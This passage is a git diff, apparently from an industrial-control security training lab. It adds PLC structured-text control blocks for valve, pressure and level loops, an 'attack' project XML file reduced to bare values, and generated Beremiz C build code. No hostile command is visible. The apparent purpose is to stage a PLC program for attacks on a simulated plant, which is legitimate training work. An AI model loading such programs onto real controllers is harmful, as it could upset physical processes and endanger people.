pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + 